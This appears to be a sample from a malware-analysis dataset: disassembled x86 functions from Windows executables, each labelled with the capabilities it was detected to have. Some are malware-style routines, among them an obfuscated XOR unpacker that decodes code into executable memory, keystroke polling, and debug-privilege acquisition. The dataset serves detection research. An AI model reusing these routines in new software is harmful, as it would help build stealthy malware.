joyce8/EMBER2024-capa huggingface dataset:
Function at 0x469257
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x469285
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4692a3
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004691bd
jmp 0x4692a3
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4692a3
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004691bd
test edi, edi
mov eax, edi
jne 0x46928d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x4093f8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x409407
pop dword [ebp - 0xc]
mov eax, 0x1b8778b3
sub eax, 0x1b46e4ac
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x4475e90a
sub dword [ebp - 0x1c], 0xf623a3bf
mov dword [ebp - 0x18], 0xa2bd5b79
add dword [ebp - 0x18], 0x8f75f0cc
mov dword [ebp - 0x14], 0x29832da
add dword [ebp - 0x14], 0x49b41154
mov dword [ebp - 0x10], 0x5a98c42d
add dword [ebp - 0x10], 0xa5673bd3
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x334f8fb1
add eax, 0xccf1409b
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xc0d20e08
sub dword [ebp - 0x1c], 0x4c5fa4b2
mov dword [ebp - 0x18], 0x68750415
sub dword [ebp - 0x18], 0x2708a2a0
mov dword [ebp - 0x14], 0x23f73b86
sub dword [ebp - 0x14], 0xc087cf1a
mov dword [ebp - 0x10], 0xb463fac8
sub dword [ebp - 0x10], 0xb463fac8
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x52997d45
add eax, 0xada75303
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3be7a
push 0
call eax
mov ecx, 0x51b9
mov edi, eax
mov edx, 0x41b000
add edx, dword [ebp - 0xc]
mov esi, 0x2a969bfa
sub dword [ebp - 4], edi
mov ebx, dword [edx]
xor dword [ebp - 4], ecx
xor ebx, esi
add dword [ebp - 4], 0xc947fe5b
mov dword [edi], ebx
add edi, 4
add edx, 0xeb54322e
add edx, 0x14abcdd6
loop 0x409517
add eax, 0x99a29b02
sub eax, 0x99a1614b
mov ebx, eax
add eax, 0xa57f2392
sub eax, 0xa57f238d
mov ecx, 0xe97bec8b
sub ecx, 0xe93bec8b
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401cb0
Capabilities:
Create thread
Resume thread

Disassembly:
sub esp, 8
push esi
mov esi, ecx
mov eax, dword [esi + 0x60]
test eax, eax
je 0x401cee
call fcn.004027f0
test eax, eax
je 0x401cf5
lea eax, [esp + 8]
push eax
push 4
push esi
push 0x402210
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 0x70], eax
test eax, eax
je 0x401cee
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
pop esi
add esp, 8
ret
mov eax, dword [esi + 0x78]
test eax, eax
je 0x401cee
mov ecx, dword [eax]
lea edx, [esp + 8]
push edi
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [esi + 0x78]
lea edx, [esp + 8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov ecx, dword [esp + 8]
push 0
mov edi, ecx
mov eax, dword [esi + 0x78]
neg edi
push edi
mov edi, dword [esp + 0x14]
push edi
push ecx
mov ecx, dword [esi + 0x44]
mov edx, dword [eax]
push 0
push ecx
mov ecx, dword [esi + 0x40]
push ecx
mov ecx, dword [esi + 0x64]
push 0
push 0
push ecx
push eax
call dword [edx + 0x20]
test eax, eax
pop edi
jne 0x401cee
mov edx, dword [esi + 0x20]
push eax
push eax
push edx
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, 1
pop esi
add esp, 8
ret
Function at 0x403bf0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
lea eax, [esp]
push ebp
mov ebp, dword [esp + 0x218]
push eax
push 0x20019
push 0
push str.Control_PanelDesktop
push 0x80000001
mov dword [ebp], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403d8b
push esi
push edi
mov ecx, 0x40
lea edi, [esp + 0x15]
mov byte [esp + 0x14], al
mov byte [esp + 0x118], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x119]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push edx
stosb byte es:[edi], al
mov eax, dword [esp + 0x14]
push 0
push 0
mov edi, 0x104
push str.TileWallPaper
push eax
mov dword [esp + 0x28], edi
call esi
test eax, eax
jne 0x403d72
lea ecx, [esp + 0x10]
lea edx, [esp + 0x118]
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x1c]
push 0x40e690
push eax
mov dword [esp + 0x28], edi
call esi
test eax, eax
jne 0x403d72
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea ecx, [esp + 0x14]
push 0x40e68c
push ecx
call esi
test eax, eax
jne 0x403ce5
lea edx, [esp + 0x118]
push 0x40e68c
push edx
call esi
test eax, eax
je 0x403d6b
lea eax, [esp + 0x14]
push 0x40e688
push eax
call esi
test eax, eax
jne 0x403d28
lea ecx, [esp + 0x118]
push 0x40e68c
push ecx
call esi
test eax, eax
jne 0x403d28
mov ecx, dword [esp + 0xc]
mov dword [ebp], 2
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x210
ret 4
lea edx, [esp + 0x14]
push 0x40e68c
push edx
call esi
test eax, eax
jne 0x403d6b
lea eax, [esp + 0x118]
push 0x40e684
push eax
call esi
test eax, eax
jne 0x403d6b
mov ecx, dword [esp + 0xc]
mov dword [ebp], 3
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x210
ret 4
mov dword [ebp], 1
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x210
ret 4
xor eax, eax
pop ebp
add esp, 0x210
ret 4
Function at 0x403fa0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0x20006
push 0
push str.Control_PanelDesktop
mov dword [esp + 0x24], ecx
push 0x80000001
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4040b5
mov eax, dword [esp + 0x124]
dec eax
je 0x403ffa
dec eax
je 0x403ff3
dec eax
jne 0x403ffa
xor edx, edx
mov esi, 2
jmp 0x403ffe
mov edx, 1
jmp 0x403ffc
xor edx, edx
xor esi, esi
mov cl, byte [0x40eb5c]
xor eax, eax
mov byte [esp + 0x18], cl
mov ecx, 0x40
lea edi, [esp + 0x19]
push edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x1c]
push 0x40e7bc
push edx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
lea eax, [esp + 0x18]
push eax
call ebx
mov edx, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x18]
push eax
push ecx
push 1
push 0
push str.TileWallPaper
push edx
call ebp
test eax, eax
je 0x40406a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret 8
push esi
lea eax, [esp + 0x1c]
push 0x40e7bc
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
call ebx
lea edx, [esp + 0x18]
push eax
mov eax, dword [esp + 0x14]
push edx
push 1
push 0
push 0x40e690
push eax
call ebp
test eax, eax
je 0x4040aa
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret 8
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x14]
push str.SetWallPaperStatus
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4040ea
mov ecx, dword [esp + 0x120]
push ecx
call eax
neg eax
pop edi
pop esi
sbb eax, eax
pop ebp
and eax, 9
pop ebx
add esp, 0x10c
ret 8
pop edi
pop esi
pop ebp
mov eax, 9
pop ebx
add esp, 0x10c
ret 8
Function at 0x404480
Capabilities:
Check if file exists

Disassembly:
push 0xffffffffffffffff
push 0x40a1a9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x104
mov eax, dword [ecx + 0x154]
mov dword [esp + 0x10c], 0
test eax, eax
je 0x40452f
mov eax, dword [esp + 0x118]
test eax, eax
jne 0x4044c0
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x404512
lea eax, [esp + 0x114]
push 0x40eb5c
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
add esp, 8
test al, al
jne 0x404512
mov eax, dword [esp + 0x118]
test eax, eax
jne 0x4044f5
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea ecx, [esp]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp]
push 0
push edx
call fcn.00404600
add esp, 8
jmp 0x40452f
call sub.MFC42.DLL_AfxGetModuleState
mov eax, dword [eax + 0xc]
push 0
push 0x404ee0
push 0
push 0x96
push eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov ecx, dword [esp + 0x118]
test ecx, ecx
je 0x40456b
mov al, byte [ecx - 1]
test al, al
je 0x404561
cmp al, 0xff
je 0x404561
dec al
mov byte [ecx - 1], al
mov ecx, dword [esp + 0x104]
mov dword fs:[0], ecx
add esp, 0x110
ret 0x10
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x104]
mov dword fs:[0], ecx
add esp, 0x110
ret 0x10
Function at 0x404df0
Capabilities:
Terminate process

Disassembly:
push ecx
mov eax, dword [0x40eb84]
push esi
xor esi, esi
cmp eax, esi
je 0x404e18
push esi
push 0xf060
push 0x112
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
mov dword [0x40eb84], esi
pop esi
pop ecx
ret
cmp dword [0x40eb88], esi
je 0x404e38
push esi
push 0xf060
push 0x112
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [0x40eb88], esi
mov ecx, dword [0x40eb74]
mov eax, dword [0x40eb78]
cmp ecx, esi
jne 0x404e4b
xor edx, edx
jmp 0x404e52
mov edx, eax
sub edx, ecx
sar edx, 4
push ebx
cmp edx, esi
push edi
jle 0x404ea1
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, edx
jmp 0x404e6f
mov ecx, dword [0x40eb74]
mov eax, dword [esi + ecx]
push 0
push eax
call ebp
mov ecx, dword [0x40eb74]
mov edx, dword [esi + ecx]
push edx
call edi
mov eax, dword [0x40eb74]
mov ecx, dword [esi + eax + 4]
push ecx
call edi
add esi, 0x10
dec ebx
jne 0x404e69
mov eax, dword [0x40eb78]
mov ecx, dword [0x40eb74]
pop ebp
mov edx, eax
cmp eax, edx
je 0x404ed0
mov esi, eax
mov edi, ecx
add eax, 0x10
add ecx, 0x10
mov ebx, dword [esi]
cmp eax, edx
mov dword [edi], ebx
mov ebx, dword [esi + 4]
mov dword [edi + 4], ebx
mov ebx, dword [esi + 8]
mov dword [edi + 8], ebx
mov esi, dword [esi + 0xc]
mov dword [edi + 0xc], esi
jne 0x404ea7
mov eax, dword [0x40eb78]
pop edi
pop ebx
mov dword [esp + 4], eax
mov dword [0x40eb78], ecx
pop esi
pop ecx
ret

Function at 0x406140
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x110
push esi
mov esi, dword [esp + 0x118]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x40eb5c
push esi
call edi
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0x20019
push 0
push str.SoftwareLENOVONPDirectPath
push 0x80000002
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4061c9
lea ecx, [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push 0x40eb5c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0x14]
push edx
push esi
call edi
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 0x110
ret
Function at 0x408650
Capabilities:
Create thread
Enumerate gui resources
Log keystrokes

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 4], ecx
xor eax, eax
push ebx
lea ecx, [esp + 0x1c]
push ebp
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], eax
push ecx
lea edx, [esp + 0xc]
push eax
push edx
push 0x408620
push eax
push eax
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebp, eax
push 0xffffffffffffffff
push ebp
call dword [sym.imp.USER32.dll_WaitForInputIdle]
lea eax, [esp + 8]
push eax
push 0x408570
call dword [sym.imp.USER32.dll_EnumWindows]
mov ebx, dword [sym.imp.USER32.dll_GetForegroundWindow]
call ebx
mov ecx, dword [esp + 0x14]
cmp ecx, eax
je 0x4086fc
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push ecx
call edi
push 0
mov esi, eax
call ebx
push eax
call edi
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
mov edi, eax
push 1
push edi
push esi
call ebx
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.USER32.dll_BringWindowToTop]
push 0
push edi
push esi
call ebx
pop edi
pop esi
push 0xffffffffffffffff
push ebp
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x402504
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.00404bfa
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.00404bfa
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
push 0x10
call fcn.00404bfa
add esp, 4
mov dword [ebp - 0x18], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
push 0
mov ebx, 0x4064b0
call fcn.00404c12
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
je 0x4025c4
mov eax, 0
jmp 0x402730
cmp dword [ebp + 0xc], 0
jne 0x4025f0
mov dword [ebp - 0x1c], esp
mov eax, 8
call fcn.00404c06
cmp dword [ebp - 0x1c], esp
je 0x4025ed
push 6
call fcn.00404c00
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 0
jne 0x402618
mov eax, str.SeDebugPrivilege
push eax
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402612
push ebx
call fcn.00404bf4
add esp, 4
pop eax
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
mov dword [ebp - 0x1c], esp
lea eax, [ebp - 8]
push eax
push 0x28
push dword [ebp - 4]
mov eax, 9
call fcn.00404c06
cmp dword [ebp - 0x1c], esp
je 0x402643
push 6
call fcn.00404c00
add esp, 4
mov dword [ebp - 0x1c], esp
push dword [ebp - 0xc]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
push 0x55e060
mov eax, 0xa
call fcn.00404c06
cmp dword [ebp - 0x1c], esp
je 0x40266f
push 6
call fcn.00404c00
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov dword [ebx], 2
mov dword [ebp - 0x1c], esp
mov eax, 0
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x18]
push 0x1c
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0xb
call fcn.00404c06
cmp dword [ebp - 0x1c], esp
je 0x402703
push 6
call fcn.00404c00
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], esp
push dword [ebp - 8]
mov eax, 6
call fcn.00404c06
cmp dword [ebp - 0x1c], esp
je 0x402728
push 6
call fcn.00404c00
add esp, 4
mov eax, dword [ebp - 0x14]
jmp 0x402730
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.00404bf4
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.00404bf4
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
call fcn.00404bf4
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40a940
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46a85b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045f6e7
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40a9c2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045d60a
mov eax, dword [eax]
push 0x571210
push eax
call fcn.0044ff24
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045f972
test bl, bl
je 0x40a9c2
push 0x571210
lea ecx, [esp + 0xc]
call fcn.0045fd02
push 0x574d68
lea ecx, [esp + 0xc]
call fcn.0045fd02
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40a9fe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045f972
jmp 0x40aac9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40aa82
lea edx, [esp + 0x7c]
push 0x574d64
push edx
call fcn.0044ff24
add esp, 8
test eax, eax
je 0x40aa82
lea eax, [esp + 0x7c]
push 0x574d60
push eax
call fcn.0044ff24
add esp, 8
test eax, eax
je 0x40aa82
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40aa12
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045f972
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b2c0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b322
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b330
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46a8db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x57cf20]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40b468
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b396
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045f972
xor eax, eax
jmp 0x40b4df
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045faaf
push esi
lea ecx, [esp + 0xc]
call fcn.0045fd3e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40b4bd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040b2c0
test eax, eax
jne 0x40b4bd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040b2c0
test eax, eax
jne 0x40b4bd
lea eax, [esp + 0x14]
push 0x574d7c
push eax
call fcn.00450f60
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b49c
lea ecx, [esp + 0x14]
push 0x574d78
push ecx
call fcn.00450ee0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b49c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40b49f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045fa5f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b3ae
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045f972
xor eax, eax
jmp 0x40b4df
mov byte [esi], 0
push 0x574d74
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045f972
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41bf90
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41bffe
cmp si, 0x69
ja 0x41bffe
add esi, 0xffd0
cmp si, 0x11
je 0x41bfce
push 0x11
call edi
test ax, ax
jge 0x41bfce
or esi, 0x2000
cmp si, 0x10
je 0x41bfe3
push 0x10
call edi
test ax, ax
jge 0x41bfe3
or esi, 0x4000
cmp si, 0x12
je 0x41bff8
push 0x12
call edi
test ax, ax
jge 0x41bff8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41c00b
mov esi, 0xbd
jmp 0x41bfbf
cmp si, 0x6e
jne 0x41c018
mov esi, 0xbe
jmp 0x41bfbf
cmp si, 0x6f
jne 0x41bfb9
mov esi, 0xbf
jmp 0x41bfbf

Function at 0x41da60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x58d5c0]
xor edx, edx
cmp eax, edx
jne 0x41da86
xor eax, eax
mov byte [eax + 0x58d4c0], al
inc eax
cmp eax, 0x100
jl 0x41da6e
mov dword [0x58d5c0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x58d4c0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41db17
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41daea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41dab8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41db90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41dbe3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41dbca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret